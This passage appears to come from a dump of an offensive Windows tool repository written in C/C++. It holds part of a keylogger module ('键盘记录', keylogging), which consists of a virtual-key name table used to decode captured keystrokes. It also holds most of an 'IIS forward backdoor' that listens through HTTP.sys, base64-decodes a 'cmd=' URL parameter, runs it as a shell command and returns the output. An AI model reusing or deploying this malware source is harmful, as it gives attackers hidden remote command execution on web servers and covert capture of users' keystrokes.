failed: 0x%08lx\n", hr); 420 | goto Cleanup; 421 | } 422 | 423 | Cleanup: 424 | return hr; 425 | } 426 | -------------------------------------------------------------------------------- /键盘记录/利用原始输入获取/VirtualKeyToAscii.h: -------------------------------------------------------------------------------- 1 | #ifndef _VIRTUAL_KEY_TO_ASCII_ 2 | #define _VIRTUAL_KEY_TO_ASCII_ 3 | 4 | #include 5 | 6 | struct VKeyInfo { 7 | USHORT VKey; 8 | LPCSTR VKname; 9 | }; 10 | 11 | #define AddVKey(VK, VKName) {(VK), (VKName)} 12 | 13 | // VK的值从0x01 - 0xFE,如果编译器发现未定义的项目,直接换成对应的值就可以了. 14 | static VKeyInfo vkis[] = { 15 | AddVKey(VK_LBUTTON, "Left mouse button"), 16 | AddVKey(VK_RBUTTON, "Right mouse button"), 17 | AddVKey(VK_CANCEL, "Control-break processing"), 18 | AddVKey(0x04, "Middle mouse button (three-button mouse)"), 19 | AddVKey(0x05, "Windows 2000/XP: X1 mouse button"), 20 | AddVKey(0x06, "Windows 2000/XP: X2 mouse button"), 21 | AddVKey(0x07, "Undefined"), 22 | AddVKey(VK_BACK, "BACKSPACE key"), 23 | AddVKey(VK_TAB, "TAB key"), 24 | AddVKey(0x0A, "Reserved"), 25 | AddVKey(0x0B, "Reserved"), 26 | AddVKey(VK_CLEAR, "CLEAR key"), 27 | AddVKey(VK_RETURN, "ENTER key"), 28 | AddVKey(0x0E, "Undefined"), 29 | AddVKey(0x0F, "Undefined"), 30 | AddVKey(VK_SHIFT, "SHIFT key"), 31 | AddVKey(VK_CONTROL, "CTRL key"), 32 | AddVKey(VK_MENU, "ALT key"), 33 | AddVKey(VK_PAUSE, "PAUSE key"), 34 | AddVKey(VK_CAPITAL, "CAPS LOCK key"), 35 | AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"), 36 | AddVKey(VK_HANGUL, "IME Hangul mode"), 37 | AddVKey(0x16, "Undefined"), 38 | AddVKey(VK_JUNJA, "IME Junja mode"), 39 | AddVKey(VK_FINAL, "IME final mode"), 40 | AddVKey(VK_HANJA, "IME Hanja mode"), 41 | AddVKey(VK_KANJI, "IME Kanji mode"), 42 | AddVKey(0x1A, "Undefined"), 43 | AddVKey(VK_ESCAPE, "ESC key"), 44 | AddVKey(VK_CONVERT, "IME convert"), 45 | AddVKey(VK_NONCONVERT, "IME nonconvert"), 46 | AddVKey(VK_ACCEPT, "IME accept"), 47 | AddVKey(VK_MODECHANGE, "IME mode change request"), 48 | AddVKey(VK_SPACE, "SPACEBAR"), 49 | AddVKey(VK_PRIOR, "PAGE UP key"), 50 | AddVKey(VK_NEXT, "PAGE DOWN key"), 51 | AddVKey(VK_END, "END key"), 52 | AddVKey(VK_HOME, "HOME key"), 53 | AddVKey(VK_LEFT, "LEFT ARROW key"), 54 | AddVKey(VK_UP, "UP ARROW key"), 55 | AddVKey(VK_RIGHT, "RIGHT ARROW key"), 56 | AddVKey(VK_DOWN, "DOWN ARROW key"), 57 | AddVKey(VK_SELECT, "SELECT key"), 58 | AddVKey(VK_PRINT, "PRINT key"), 59 | AddVKey(VK_EXECUTE, "EXECUTE key"), 60 | AddVKey(VK_SNAPSHOT, "PRINT SCREEN key"), 61 | AddVKey(VK_INSERT, "INSERT key"), 62 | AddVKey(VK_DELETE, "DEL key"), 63 | AddVKey(VK_HELP, "HELP key"), 64 | AddVKey(0x30, "0"), 65 | AddVKey(0x31, "1"), 66 | AddVKey(0x32, "2"), 67 | AddVKey(0x33, "3"), 68 | AddVKey(0x34, "4"), 69 | AddVKey(0x35, "5"), 70 | AddVKey(0x36, "6"), 71 | AddVKey(0x37, "7"), 72 | AddVKey(0x38, "8"), 73 | AddVKey(0x39, "9"), 74 | AddVKey(0x3A, "Undefined"), 75 | AddVKey(0x3B, "Undefined"), 76 | AddVKey(0x3C, "Undefined"), 77 | AddVKey(0x3D, "Undefined"), 78 | AddVKey(0x3E, "Undefined"), 79 | AddVKey(0x3F, "Undefined"), 80 | AddVKey(0x40, "Undefined"), 81 | AddVKey(0x41, "A"), 82 | AddVKey(0x42, "B"), 83 | AddVKey(0x43, "C"), 84 | AddVKey(0x44, "D"), 85 | AddVKey(0x45, "E"), 86 | AddVKey(0x46, "F"), 87 | AddVKey(0x47, "G"), 88 | AddVKey(0x48, "H"), 89 | AddVKey(0x49, "I"), 90 | AddVKey(0x4A, "J"), 91 | AddVKey(0x4B, "K"), 92 | AddVKey(0x4C, "L"), 93 | AddVKey(0x4D, "M"), 94 | AddVKey(0x4E, "N"), 95 | AddVKey(0x4F, "O"), 96 | AddVKey(0x50, "P"), 97 | AddVKey(0x51, "Q"), 98 | AddVKey(0x52, "R"), 99 | AddVKey(0x53, "S"), 100 | AddVKey(0x54, "T"), 101 | AddVKey(0x55, "U"), 102 | AddVKey(0x56, "V"), 103 | AddVKey(0x57, "W"), 104 | AddVKey(0x58, "X"), 105 | AddVKey(0x59, "Y"), 106 | AddVKey(0x5A, "Z"), 107 | 108 | AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"), 109 | AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"), 110 | AddVKey(VK_APPS, "Applications key (Natural keyboard)"), 111 | AddVKey(0x5E, "Reserved"), 112 | AddVKey(VK_SLEEP, "Computer Sleep key"), 113 | AddVKey(VK_NUMPAD0, "Numeric keypad 0 key"), 114 | AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"), 115 | AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"), 116 | AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"), 117 | AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"), 118 | AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"), 119 | AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"), 120 | AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"), 121 | AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"), 122 | AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"), 123 | AddVKey(VK_MULTIPLY, "Multiply key"), 124 | AddVKey(VK_ADD, "Add key"), 125 | AddVKey(VK_SEPARATOR, "Separator key"), 126 | AddVKey(VK_SUBTRACT, "Subtract key"), 127 | AddVKey(VK_DECIMAL, "Decimal key"), 128 | AddVKey(VK_DIVIDE, "Divide key"), 129 | AddVKey(VK_F1, "F1 key"), 130 | AddVKey(VK_F2, "F2 key"), 131 | AddVKey(VK_F3, "F3 key"), 132 | AddVKey(VK_F4, "F4 key"), 133 | AddVKey(VK_F5, "F5 key"), 134 | AddVKey(VK_F6, "F6 key"), 135 | AddVKey(VK_F7, "F7 key"), 136 | AddVKey(VK_F8, "F8 key"), 137 | AddVKey(VK_F9, "F9 key"), 138 | AddVKey(VK_F10, "F10 key"), 139 | AddVKey(VK_F11, "F11 key"), 140 | AddVKey(VK_F12, "F12 key"), 141 | AddVKey(VK_F13, "F13 key"), 142 | AddVKey(VK_F14, "F14 key"), 143 | AddVKey(VK_F15, "F15 key"), 144 | AddVKey(VK_F16, "F16 key"), 145 | AddVKey(VK_F17, "F17 key"), 146 | AddVKey(VK_F18, "F18 key"), 147 | AddVKey(VK_F19, "F19 key"), 148 | AddVKey(VK_F20, "F20 key"), 149 | AddVKey(VK_F21, "F21 key"), 150 | AddVKey(VK_F22, "F22 key"), 151 | AddVKey(VK_F23, "F23 key"), 152 | AddVKey(VK_F24, "F24 key"), 153 | AddVKey(0x88, "Unassigned"), 154 | AddVKey(0x89, "Unassigned"), 155 | AddVKey(0x8A, "Unassigned"), 156 | AddVKey(0x8B, "Unassigned"), 157 | AddVKey(0x8C, "Unassigned"), 158 | AddVKey(0x8D, "Unassigned"), 159 | AddVKey(0x8E, "Unassigned"), 160 | AddVKey(0x8F, "Unassigned"), 161 | AddVKey(VK_NUMLOCK, "NUM LOCK key"), 162 | AddVKey(VK_SCROLL, "SCROLL LOCK key"), 163 | AddVKey(0x92, "OEM specific"), 164 | AddVKey(0x93, "OEM specific"), 165 | AddVKey(0x94, "OEM specific"), 166 | AddVKey(0x95, "OEM specific"), 167 | AddVKey(0x96, "OEM specific"), 168 | AddVKey(0x97, "Unassigned"), 169 | AddVKey(0x98, "Unassigned"), 170 | AddVKey(0x99, "Unassigned"), 171 | AddVKey(0x9A, "Unassigned"), 172 | AddVKey(0x9B, "Unassigned"), 173 | AddVKey(0x9C, "Unassigned"), 174 | AddVKey(0x9D, "Unassigned"), 175 | AddVKey(0x9E, "Unassigned"), 176 | AddVKey(0x9F, "Unassigned"), 177 | AddVKey(VK_LSHIFT, "Left SHIFT key"), 178 | AddVKey(VK_RSHIFT, "Right SHIFT key"), 179 | AddVKey(VK_LCONTROL, "Left CONTROL key"), 180 | AddVKey(VK_RCONTROL, "Right CONTROL key"), 181 | AddVKey(VK_LMENU, "Left MENU key"), 182 | AddVKey(VK_RMENU, "Right MENU key"), 183 | AddVKey(0xA6, "Windows 2000/XP: Browser Back key"), 184 | AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"), 185 | AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"), 186 | AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"), 187 | AddVKey(0xAA, "Windows 2000/XP: Browser Search key"), 188 | AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"), 189 | AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"), 190 | AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"), 191 | AddVKey(0xAE, "Windows 2000/XP: Volume Down key"), 192 | AddVKey(0xAF, "Windows 2000/XP: Volume Up key"), 193 | AddVKey(0xB0, "Windows 2000/XP: Next Track key"), 194 | AddVKey(0xB1, "Windows 2000/XP: Previous Track key"), 195 | AddVKey(0xB2, "Windows 2000/XP: Stop Media key"), 196 | AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"), 197 | AddVKey(0xB4, "Windows 2000/XP: Start Mail key"), 198 | AddVKey(0xB5, "Windows 2000/XP: Select Media key"), 199 | AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"), 200 | AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"), 201 | AddVKey(0xB8, "Reserved"), 202 | AddVKey(0xB9, "Reserved"), 203 | AddVKey(VK_OEM_1, "Used for miscellaneous characters; it can vary by keyboard." 204 | "Windows 2000/XP: For the US standard keyboard, the \';:\' key"), 205 | AddVKey(VK_OEM_PLUS, "Windows 2000/XP: For any country/region, the \'+\' key"), 206 | AddVKey(VK_OEM_COMMA, "Windows 2000/XP: For any country/region, the \',\' key"), 207 | AddVKey(VK_OEM_MINUS, "Windows 2000/XP: For any country/region, the \'-\' key"), 208 | AddVKey(VK_OEM_PERIOD, "Windows 2000/XP: For any country/region, the \'.\' key"), 209 | AddVKey(VK_OEM_2, "Used for miscellaneous characters; it can vary by keyboard." 210 | "Windows 2000/XP: For the US standard keyboard, the \'/?\' key"), 211 | AddVKey(VK_OEM_3, "Used for miscellaneous characters; it can vary by keyboard." 212 | "Windows 2000/XP: For the US standard keyboard, the \'`~\' key"), 213 | AddVKey(0xC1, "Reserved"), 214 | AddVKey(0xC2, "Reserved"), 215 | AddVKey(0xC3, "Reserved"), 216 | AddVKey(0xC4, "Reserved"), 217 | AddVKey(0xC5, "Reserved"), 218 | AddVKey(0xC6, "Reserved"), 219 | AddVKey(0xC7, "Reserved"), 220 | AddVKey(0xC8, "Reserved"), 221 | AddVKey(0xC9, "Reserved"), 222 | AddVKey(0xCA, "Reserved"), 223 | AddVKey(0xCB, "Reserved"), 224 | AddVKey(0xCC, "Reserved"), 225 | AddVKey(0xCD, "Reserved"), 226 | AddVKey(0xCE, "Reserved"), 227 | AddVKey(0xCF, "Reserved"), 228 | AddVKey(0xD0, "Reserved"), 229 | AddVKey(0xD1, "Reserved"), 230 | AddVKey(0xD2, "Reserved"), 231 | AddVKey(0xD3, "Reserved"), 232 | AddVKey(0xD4, "Reserved"), 233 | AddVKey(0xD5, "Reserved"), 234 | AddVKey(0xD6, "Reserved"), 235 | AddVKey(0xD7, "Reserved"), 236 | AddVKey(0xD8, "Unassigned"), 237 | AddVKey(0xD9, "Unassigned"), 238 | AddVKey(0xDA, "Unassigned"), 239 | AddVKey(VK_OEM_4, "Used for miscellaneous characters; it can vary by keyboard." 240 | "Windows 2000/XP: For the US standard keyboard, the \'[{\' key"), 241 | AddVKey(VK_OEM_5, "Used for miscellaneous characters; it can vary by keyboard." 242 | "Windows 2000/XP: For the US standard keyboard, the \'\\|\' key"), 243 | AddVKey(VK_OEM_6, "Used for miscellaneous characters; it can vary by keyboard." 244 | "Windows 2000/XP: For the US standard keyboard, the \']}\' key"), 245 | AddVKey(VK_OEM_7, "Used for miscellaneous characters; it can vary by keyboard." 246 | "Windows 2000/XP: For the US standard keyboard, the \'single-quote/double-quote\' key"), 247 | 248 | AddVKey(VK_OEM_8, "Used for miscellaneous characters; it can vary by keyboard."), 249 | AddVKey(0xE0, "Reserved"), 250 | AddVKey(0xE1, "OEM specific"), 251 | AddVKey(VK_OEM_102, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"), 252 | AddVKey(0xE3, "OEM specific"), 253 | AddVKey(0xE4, "OEM specific"), 254 | AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"), 255 | AddVKey(0xE6, "OEM specific"), 256 | AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"), 257 | AddVKey(0xE8, "Unassigned"), 258 | AddVKey(0xE9, "OEM specific"), 259 | AddVKey(0xEA, "OEM specific"), 260 | AddVKey(0xEB, "OEM specific"), 261 | AddVKey(0xEC, "OEM specific"), 262 | AddVKey(0xED, "OEM specific"), 263 | AddVKey(0xEF, "OEM specific"), 264 | AddVKey(0xF0, "OEM specific"), 265 | AddVKey(0xF1, "OEM specific"), 266 | AddVKey(0xF2, "OEM specific"), 267 | AddVKey(0xF3, "OEM specific"), 268 | AddVKey(0xF4, "OEM specific"), 269 | AddVKey(0xF5, "OEM specific"), 270 | AddVKey(VK_ATTN, "Attn key"), 271 | AddVKey(VK_CRSEL, "CrSel key"), 272 | AddVKey(VK_EXSEL, "ExSel key"), 273 | AddVKey(VK_EREOF, "Erase EOF key"), 274 | AddVKey(VK_PLAY, "Play key"), 275 | AddVKey(VK_ZOOM, "Zoom key"), 276 | AddVKey(VK_NONAME, "Reserved"), 277 | AddVKey(VK_PA1, "PA1 key"), 278 | AddVKey(VK_OEM_CLEAR, "Clear key"), 279 | AddVKey(0xFF, "Unknown Virtual-Key Code") 280 | }; 281 | 282 | 283 | LPCSTR GetKeyName(USHORT VKey) 284 | { 285 | int i = 0; 286 | for (i = 0; i < sizeof(vkis); i++) 287 | { 288 | if (VKey == vkis[i].VKey) 289 | return vkis[i].VKname; 290 | } 291 | return vkis[--i].VKname; 292 | } 293 | 294 | 295 | #endif -------------------------------------------------------------------------------- /IIS正向后门/main.cpp: -------------------------------------------------------------------------------- 1 | #include "precomp.h" 2 | 3 | #define INITIALIZE_HTTP_RESPONSE( resp, status, reason ) \ 4 | do \ 5 | { \ 6 | RtlZeroMemory( (resp), sizeof(*(resp)) ); \ 7 | (resp)->StatusCode = (status); \ 8 | (resp)->pReason = (reason); \ 9 | (resp)->ReasonLength = (USHORT) strlen(reason); \ 10 | } while (FALSE) 11 | 12 | #define ADD_KNOWN_HEADER(Response, HeaderId, RawValue) \ 13 | do \ 14 | { \ 15 | (Response).Headers.KnownHeaders[(HeaderId)].pRawValue = \ 16 | (RawValue);\ 17 | (Response).Headers.KnownHeaders[(HeaderId)].RawValueLength = \ 18 | (USHORT) strlen(RawValue); \ 19 | } while(FALSE) 20 | 21 | #define ALLOC_MEM(cb) HeapAlloc(GetProcessHeap(), 0, (cb)) 22 | 23 | #define FREE_MEM(ptr) HeapFree(GetProcessHeap(), 0, (ptr)) 24 | 25 | typedef struct SParam 26 | { 27 | PHTTP_REQUEST pRequest_n; 28 | ULONG result_n; 29 | HANDLE hReqQueue_n; 30 | HTTP_REQUEST_ID requestId_n; 31 | }uParam, *sParam; 32 | 33 | DWORD DoReceiveRequests(HANDLE hReqQueue); 34 | 35 | DWORD SendHttpResponse( 36 | IN HANDLE hReqQueue, 37 | IN PHTTP_REQUEST pRequest, 38 | IN USHORT StatusCode, 39 | IN PSTR pReason, 40 | IN PSTR pEntity 41 | ); 42 | 43 | DWORD SendHttpPostResponse( 44 | IN HANDLE hReqQueue, 45 | IN PHTTP_REQUEST pRequest 46 | ); 47 | 48 | 49 | void ThreadFunc(PVOID pParam) 50 | { 51 | sParam sparam; 52 | sparam = (sParam)pParam; 53 | // 54 | // Worked! 55 | // 56 | char cmd_result[4096 * 4] = ""; 57 | std::string cmd_s; 58 | std::string url; 59 | vector v; 60 | int index; 61 | int exec_result; 62 | std::string cmd_decode; 63 | switch (sparam->pRequest_n->Verb) 64 | { 65 | case HttpVerbGET: 66 | //wprintf(L"Got a GET request for %ws \n", sparam->pRequest_n->CookedUrl.pFullUrl); 67 | url = wideCharToMultiByte((wchar_t*)(sparam->pRequest_n->CookedUrl.pFullUrl)); 68 | 69 | SplitString(url, v, "cmd="); 70 | //for (vector::size_type i = 0; i != v.size(); ++i) 71 | index = v.size() - 1; 72 | cmd_decode = base64_decode(v[index]); 73 | //exec_result = execmd((char*)v[index].c_str(), cmd_result); 74 | //exec_result = cmd((char*)v[index].c_str(), cmd_result); 75 | exec_result = cmd((char*)cmd_decode.c_str(), cmd_result); 76 | if (exec_result) 77 | { 78 | cmd_s = cmd_result; 79 | string_replace(cmd_s, "\n", "
"); 80 | if (cmd_s == "") 81 | { 82 | sparam->result_n = SendHttpResponse(sparam->hReqQueue_n, sparam->pRequest_n, 200, "OK", "Success"); 83 | } 84 | else 85 | { 86 | sparam->result_n = SendHttpResponse(sparam->hReqQueue_n, sparam->pRequest_n, 200, "OK", (PSTR)cmd_s.c_str()); 87 | } 88 | 89 | } 90 | else 91 | { 92 | sparam->result_n = SendHttpResponse(sparam->hReqQueue_n, sparam->pRequest_n, 200, "OK", "Failed"); 93 | } 94 | 95 | 96 | break; 97 | 98 | case HttpVerbPOST: 99 | 100 | //wprintf(L"Got a POST request for %ws \n",sparam->pRequest_n->CookedUrl.pFullUrl); 101 | 102 | sparam->result_n = SendHttpPostResponse(sparam->hReqQueue_n, sparam->pRequest_n); 103 | break; 104 | 105 | default: 106 | //wprintf(L"Got a unknown request for %ws \n",sparam->pRequest_n->CookedUrl.pFullUrl); 107 | 108 | sparam->result_n = SendHttpResponse( 109 | sparam->hReqQueue_n, 110 | sparam->pRequest_n, 111 | 200, 112 | "Not Implemented", 113 | NULL 114 | ); 115 | break; 116 | } 117 | 118 | if (sparam->result_n != NO_ERROR) 119 | { 120 | return; 121 | } 122 | 123 | // 124 | // Reset the Request ID to handle the next request. 125 | // 126 | HTTP_SET_NULL_ID(&(sparam->requestId_n)); 127 | } 128 | 129 | 130 | 131 | 132 | // 133 | // Prototypes. 134 | // 135 | 136 | /*******************************************************************++ 137 | 138 | Routine Description: 139 | The function to receive a request. This function calls the 140 | corresponding function to handle the response. 141 | 142 | Arguments: 143 | hReqQueue - Handle to the request queue 144 | 145 | Return Value: 146 | Success/Failure. 147 | 148 | --*******************************************************************/ 149 | 150 | DWORD DoReceiveRequests(IN HANDLE hReqQueue) 151 | { 152 | ULONG result; 153 | HTTP_REQUEST_ID requestId; 154 | DWORD bytesRead; 155 | PHTTP_REQUEST pRequest; 156 | PCHAR pRequestBuffer; 157 | ULONG RequestBufferLength; 158 | 159 | // 160 | // Allocate a 2 KB buffer. This size should work for most 161 | // requests. The buffer size can be increased if required. Space 162 | // is also required for an HTTP_REQUEST structure. 163 | // 164 | RequestBufferLength = sizeof(HTTP_REQUEST) + 2048; 165 | pRequestBuffer = (PCHAR)ALLOC_MEM(RequestBufferLength); 166 | 167 | if (pRequestBuffer == NULL) 168 | { 169 | return ERROR_NOT_ENOUGH_MEMORY; 170 | } 171 | 172 | pRequest = (PHTTP_REQUEST)pRequestBuffer; 173 | 174 | // 175 | // Wait for a new request. This is indicated by a NULL 176 | // request ID. 177 | // 178 | 179 | HTTP_SET_NULL_ID(&requestId); 180 | 181 | for (;;) 182 | { 183 | RtlZeroMemory(pRequest, RequestBufferLength); 184 | 185 | result = HttpReceiveHttpRequest( 186 | hReqQueue, // Req Queue 187 | requestId, // Req ID 188 | 0, // Flags 189 | pRequest, // HTTP request buffer 190 | RequestBufferLength,// req buffer length 191 | &bytesRead, // bytes received 192 | NULL // LPOVERLAPPED 193 | ); 194 | if (NO_ERROR == result) 195 | { 196 | HANDLE h; 197 | 198 | 199 | SParam sparam; 200 | SParam *p; 201 | sparam.pRequest_n = pRequest; 202 | sparam.result_n = result; 203 | sparam.hReqQueue_n = hReqQueue; 204 | sparam.requestId_n = requestId; 205 | 206 | p = &sparam; 207 | 208 | h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadFunc, p, 0, 0); 209 | if (WAIT_TIMEOUT == MsgWaitForMultipleObjects(1, &h, false, 30000, QS_ALLINPUT)) { 210 | SendHttpResponse(hReqQueue, pRequest, 200, "OK", "The command is being executed, no result is returned temporarily"); 211 | } 212 | //ResumeThread(h); 213 | //ThreadFunc(pRequest, result, hReqQueue, requestId); 214 | continue; 215 | } 216 | else if (result == ERROR_MORE_DATA) 217 | { 218 | // 219 | // The input buffer was too small to hold the request 220 | // headers. Increase the buffer size and call the 221 | // API again. 222 | // 223 | // When calling the API again, handle the request 224 | // that failed by passing a RequestID. 225 | // 226 | // This RequestID is read from the old buffer. 227 | // 228 | requestId = pRequest->RequestId; 229 | 230 | // 231 | // Free the old buffer and allocate a new buffer. 232 | // 233 | RequestBufferLength = bytesRead; 234 | FREE_MEM(pRequestBuffer); 235 | pRequestBuffer = (PCHAR)ALLOC_MEM(RequestBufferLength); 236 | 237 | if (pRequestBuffer == NULL) 238 | { 239 | result = ERROR_NOT_ENOUGH_MEMORY; 240 | break; 241 | } 242 | 243 | pRequest = (PHTTP_REQUEST)pRequestBuffer; 244 | 245 | } 246 | else if (ERROR_CONNECTION_INVALID == result && !HTTP_IS_NULL_ID(&requestId)) 247 | { 248 | // The TCP connection was corrupted by the peer when 249 | // attempting to handle a request with more buffer. 250 | // Continue to the next request. 251 | 252 | HTTP_SET_NULL_ID(&requestId); 253 | } 254 | else 255 | { 256 | break; 257 | } 258 | 259 | } 260 | 261 | if (pRequestBuffer) 262 | { 263 | FREE_MEM(pRequestBuffer); 264 | } 265 | 266 | return result; 267 | } 268 | 269 | 270 | 271 | /*******************************************************************++ 272 | 273 | Routine Description: 274 | The routine sends a HTTP response 275 | 276 | Arguments: 277 | hReqQueue - Handle to the request queue 278 | pRequest - The parsed HTTP request 279 | StatusCode - Response Status Code 280 | pReason - Response reason phrase 281 | pEntityString - Response entity body 282 | 283 | Return Value: 284 | Success/Failure. 285 | --*******************************************************************/ 286 | 287 | DWORD SendHttpResponse( 288 | IN HANDLE hReqQueue, 289 | IN PHTTP_REQUEST pRequest, 290 | IN USHORT StatusCode, 291 | IN PSTR pReason, 292 | IN PSTR pEntityString 293 | ) 294 | { 295 | HTTP_RESPONSE response; 296 | HTTP_DATA_CHUNK dataChunk; 297 | DWORD result; 298 | DWORD bytesSent; 299 | 300 | // 301 | // Initialize the HTTP response structure. 302 | // 303 | INITIALIZE_HTTP_RESPONSE(&response, StatusCode, pReason); 304 | 305 | // 306 | // Add a known header. 307 | // 308 | ADD_KNOWN_HEADER(response, HttpHeaderContentType, "text/html"); 309 | 310 | if (pEntityString) 311 | { 312 | // 313 | // Add an entity chunk. 314 | // 315 | dataChunk.DataChunkType = HttpDataChunkFromMemory; 316 | dataChunk.FromMemory.pBuffer = pEntityString; 317 | dataChunk.FromMemory.BufferLength = 318 | (ULONG)strlen(pEntityString); 319 | 320 | response.EntityChunkCount = 1; 321 | response.pEntityChunks = &dataChunk; 322 | } 323 | 324 | // 325 | // Because the entity body is sent in one call, it is not 326 | // required to specify the Content-Length. 327 | // 328 | 329 | result = HttpSendHttpResponse( 330 | hReqQueue, // ReqQueueHandle 331 | pRequest->RequestId, // Request ID 332 | 0, // Flags 333 | &response, // HTTP response 334 | NULL, // pReserved1 335 | &bytesSent, // bytes sent (OPTIONAL) 336 | NULL, // pReserved2 (must be NULL) 337 | 0, // Reserved3 (must be 0) 338 | NULL, // LPOVERLAPPED(OPTIONAL) 339 | NULL // pReserved4 (must be NULL) 340 | ); 341 | 342 | if (result != NO_ERROR) 343 | { 344 | //wprintf(L"HttpSendHttpResponse failed with %lu \n", result); 345 | } 346 | 347 | return result; 348 | } 349 | 350 | 351 | 352 | 353 | /*******************************************************************++ 354 | 355 | Routine Description: 356 | The routine sends a HTTP response after reading the entity body. 357 | 358 | Arguments: 359 | hReqQueue - Handle to the request queue. 360 | pRequest - The parsed HTTP request. 361 | 362 | Return Value: 363 | Success/Failure. 364 | --*******************************************************************/ 365 | 366 | #define MAX_ULONG_STR ((ULONG) sizeof("4294967295")) 367 | DWORD SendHttpPostResponse( 368 | IN HANDLE hReqQueue, 369 | IN PHTTP_REQUEST pRequest 370 | ) 371 | { 372 | HTTP_RESPONSE response; 373 | DWORD result; 374 | DWORD bytesSent; 375 | PUCHAR pEntityBuffer; 376 | ULONG EntityBufferLength; 377 | ULONG BytesRead; 378 | ULONG TempFileBytesWritten; 379 | HANDLE hTempFile; 380 | TCHAR szTempName[MAX_PATH + 1]; 381 | CHAR szContentLength[MAX_ULONG_STR]; 382 | HTTP_DATA_CHUNK dataChunk; 383 | ULONG TotalBytesRead = 0; 384 | 385 | BytesRead = 0; 386 | hTempFile = INVALID_HANDLE_VALUE; 387 | 388 | // 389 | // Allocate space for an entity buffer. Buffer can be increased 390 | // on demand. 391 | // 392 | EntityBufferLength = 2048; 393 | pEntityBuffer = (PUCHAR)ALLOC_MEM(EntityBufferLength); 394 | 395 | if (pEntityBuffer == NULL) 396 | { 397 | result = ERROR_NOT_ENOUGH_MEMORY; 398 | //wprintf(L"Insufficient resources \n"); 399 | goto Done; 400 | } 401 | 402 | // 403 | // Initialize the HTTP response structure. 404 | // 405 | INITIALIZE_HTTP_RESPONSE(&response, 200, "OK"); 406 | 407 | // 408 | // For POST, echo back the entity from the 409 | // client 410 | // 411 | // NOTE: If the HTTP_RECEIVE_REQUEST_FLAG_COPY_BODY flag had been 412 | // passed with HttpReceiveHttpRequest(), the entity would 413 | // have been a part of HTTP_REQUEST (using the pEntityChunks 414 | // field). Because that flag was not passed, there are no 415 | // o entity bodies in HTTP_REQUEST. 416 | // 417 | 418 | if (pRequest->Flags & HTTP_REQUEST_FLAG_MORE_ENTITY_BODY_EXISTS) 419 | { 420 | // The entity body is sent over multiple calls. Collect 421 | // these in a file and send back. Create a temporary 422 | // file. 423 | // 424 | 425 | if (GetTempFileName( 426 | L".", 427 | L"New", 428 | 0, 429 | szTempName 430 | ) == 0) 431 | { 432 | result = GetLastError(); 433 | //wprintf(L"GetTempFileName failed with %lu \n", result); 434 | goto Done; 435 | } 436 | 437 | hTempFile = CreateFile( 438 | szTempName, 439 | GENERIC_READ | GENERIC_WRITE, 440 | 0, // Do not share. 441 | NULL, // No security descriptor. 442 | CREATE_ALWAYS, // Overrwrite existing. 443 | FILE_ATTRIBUTE_NORMAL, // Normal file. 444 | NULL 445 | ); 446 | 447 | if (hTempFile == INVALID_HANDLE_VALUE) 448 | { 449 | result = GetLastError(); 450 | //wprintf(L"Cannot create temporary file. Error %lu \n",result); 451 | goto Done; 452 | } 453 | 454 | do 455 | { 456 | // 457 | // Read the entity chunk from the request. 458 | // 459 | BytesRead = 0; 460 | result = HttpReceiveRequestEntityBody( 461 | hReqQueue, 462 | pRequest->RequestId, 463 | 0, 464 | pEntityBuffer, 465 | EntityBufferLength, 466 | &BytesRead, 467 | NULL 468 | ); 469 | 470 | switch (result) 471 | { 472 | case NO_ERROR: 473 | 474 | if (BytesRead != 0) 475 | { 476 | TotalBytesRead += BytesRead; 477 | WriteFile( 478 | hTempFile, 479 | pEntityBuffer, 480 | BytesRead, 481 | &TempFileBytesWritten, 482 | NULL 483 | ); 484 | } 485 | break; 486 | 487 | case ERROR_HANDLE_EOF: 488 | 489 | // 490 | // The last request entity body has been read. 491 | // Send back a response. 492 | // 493 | // To illustrate entity sends via 494 | // HttpSendResponseEntityBody, the response will 495 | // be sent over multiple calls. To do this, 496 | // pass the HTTP_SEND_RESPONSE_FLAG_MORE_DATA 497 | // flag. 498 | 499 | if (BytesRead != 0) 500 | { 501 | TotalBytesRead += BytesRead; 502 | WriteFile( 503 | hTempFile, 504 | pEntityBuffer, 505 | BytesRead, 506 | &TempFileBytesWritten, 507 | NULL 508 | ); 509 | } 510 | 511 | // 512 | // Because the response is sent over multiple 513 | // API calls, add a content-length. 514 | // 515 | // Alternatively, the response could have been 516 | // sent using chunked transfer encoding, by 517 | // passimg "Transfer-Encoding: Chunked". 518 | // 519 | 520 | // NOTE: Because the TotalBytesread in a ULONG 521 | // are accumulated, this will not work 522 | // for entity bodies larger than 4 GB. 523 | // For support of large entity bodies, 524 | // use a ULONGLONG. 525 | // 526 | 527 | 528 | sprintf_s(szContentLength, MAX_ULONG_STR, "%lu", TotalBytesRead); 529 | 530 | ADD_KNOWN_HEADER( 531 | response, 532 | HttpHeaderContentLength, 533 | szContentLength 534 | ); 535 | 536 | result = 537 | HttpSendHttpResponse( 538 | hReqQueue, // ReqQueueHandle 539 | pRequest->RequestId, // Request ID 540 | HTTP_SEND_RESPONSE_FLAG_MORE_DATA, 541 